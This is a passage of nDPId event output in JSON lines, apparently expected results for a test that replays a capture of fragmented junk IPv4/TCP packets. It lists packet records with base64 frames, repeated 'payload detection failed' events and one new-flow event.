failed","thread_id":0,"packet_id":283,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":284,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":701272,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiNkAGQ3sKAAACCoAAAmdrZmRzYmtudmMvLnRnZnQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":284,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":285,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":701281,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiOEAGQ3kKAAACCoAAAmc\/R1I\/R1I\/c1I\/NzQ4Mzk="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":285,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":286,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":701288,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiOkAGQ3cKAAACCoAAAjYpKComXiUkI0AhQCMkJV4="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":286,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":287,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":701296,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiPEAGQ3UKAAACCoAAAiYqKCkoKiZeJSQjQCMkJV4="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":287,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":288,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":701307,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiPkAGQ3MKAAACCoAAAiYqKComXiUkIyYqKEtJSkg="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":288,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":289,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":701319,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQEAGQ3EKAAACCoAAAkdGRDIqJkRGR0hKSyZeJSQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":289,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":290,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":701333,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQkAGQ28KAAACCoAAAiMjRVRSJVleVSZJKk9QeyI="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":290,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":291,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":701345,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiREAGQ20KAAACCoAAAjpoZGZsa2RhPkw8TU5CSEc="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":291,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":292,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":701357,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiRkAGQ2sKAAACCoAAAkZERVcjQCQlXkhCR1YKNDI="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":292,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":293,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":701369,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSEAGQ2kKAAACCoAAAjE0NjMxOTgyMDUxKSgqJl4="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":293,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":294,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":701381,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSkAGQ2cKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":294,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":295,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":701392,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTEAGQ2UKAAACCoAAAiNyc2RsdWhna2Zkc2JrbnY="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":295,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":296,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":701403,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTkAGQ2MKAAACCoAAAmMvLnRnZnRnP0dSP0dSP3M="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":296,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":297,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":701415,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUEAGQ2EKAAACCoAAAlI\/NzQ4Mzk2KSgqJl4lJCM="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":297,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":298,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":701429,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUkAGQ18KAAACCoAAAkAhQCMkJV4mKigpKComXiU="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":298,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":299,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":701442,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVEAGQ10KAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":299,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":300,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":701454,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVkAGQ1sKAAACCoAAAiYqKEtJSkhHRkQyKiZERkc="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":300,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":301,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":701466,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWEAGQ1kKAAACCoAAAkhKSyZeJSQjI0VUUiVZXlU="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":301,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":302,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":701479,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWkAGQ1cKAAACCoAAAiZJKk9QeyI6aGRmbGtkYT4="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":302,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":303,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":701491,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXEAGQ1UKAAACCoAAAkw8TU5CSEdGREVXI0AkJV4="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":303,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":304,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":701503,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXkAGQ1MKAAACCoAAAkhCR1YKNDIxNDYzMTk4MjA="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":304,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":305,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":701515,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYEAGQ1EKAAACCoAAAjUxKSgqJl4lJCNAIyQlXiY="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":305,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":306,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":701527,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYkAGQ08KAAACCoAAAiooKiZeJSQjcnNkbHVoZ2s="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":306,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":307,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":701542,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZEAGQ00KAAACCoAAAmZkc2JrbnZjLy50Z2Z0Zz8="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":307,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":308,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":701555,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZkAGQ0sKAAACCoAAAkdSP0dSP3NSPzc0ODM5Nik="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":308,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":309,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":701567,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiaEAGQ0kKAAACCoAAAigqJl4lJCNAIUAjJCVeJio="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":309,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":310,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":701578,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiakAGQ0cKAAACCoAAAigpKComXiUkI0AjJCVeJio="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":310,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":311,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":701592,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibEAGQ0UKAAACCoAAAigqJl4lJCMmKihLSUpIR0Y="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":311,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":312,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":701604,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibkAGQ0MKAAACCoAAAkQyKiZERkdISksmXiUkIyM="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":312,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00368{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":313,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":701616,"pkt_caplen":42,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":42,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAcAKACcEAGY0kKAAACCoAAAkVUUiVZXlUm"} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":313,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":8} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":314,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1534244025001,"flow_last_seen":0,"flow_tot_l4_data_len":16,"flow_min_l4_data_len":16,"flow_max_l4_data_len":16,"flow_avg_l4_data_len":16,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.2","dst_ip":"10.128.0.2","src_port":18730,"dst_port":20304,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00420{"flow_id":2,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":314,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":1741,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":16,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAEAGRbEKAAACCoAAAkkqT1B7IjpoZGZsa2RhPkwp4QAA"} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":315,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":1770,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAkAGRa8KAAACCoAAAjxNTkJIR0ZERVcjQCQlXkg="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":315,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":316,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":1783,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBEAGRa0KAAACCoAAAkJHVgo0MjE0NjMxOTgyMDU="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":316,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":317,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":1794,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBkAGRasKAAACCoAAAjEpKComXiUkI0AjJCVeJio="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":317,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":318,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":1805,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCEAGRakKAAACCoAAAigqJl4lJCNyc2RsdWhna2Y="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":318,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":319,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":1816,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCkAGRacKAAACCoAAAmRzYmtudmMvLnRnZnRnP0c="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":319,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":320,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":1827,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDEAGRaUKAAACCoAAAlI\/R1I\/c1I\/NzQ4Mzk2KSg="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":320,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":321,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":1839,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDkAGRaMKAAACCoAAAiomXiUkI0AhQCMkJV4mKig="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":321,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":322,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":1850,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEEAGRaEKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":322,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":323,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":1861,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEkAGRZ8KAAACCoAAAiomXiUkIyYqKEtJSkhHRkQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":323,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":324,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":1872,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFEAGRZ0KAAACCoAAAjIqJkRGR0hKSyZeJSQjI0U="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":324,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":325,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":1883,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFkAGRZsKAAACCoAAAlRSJVleVSZJKk9QeyI6aGQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":325,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 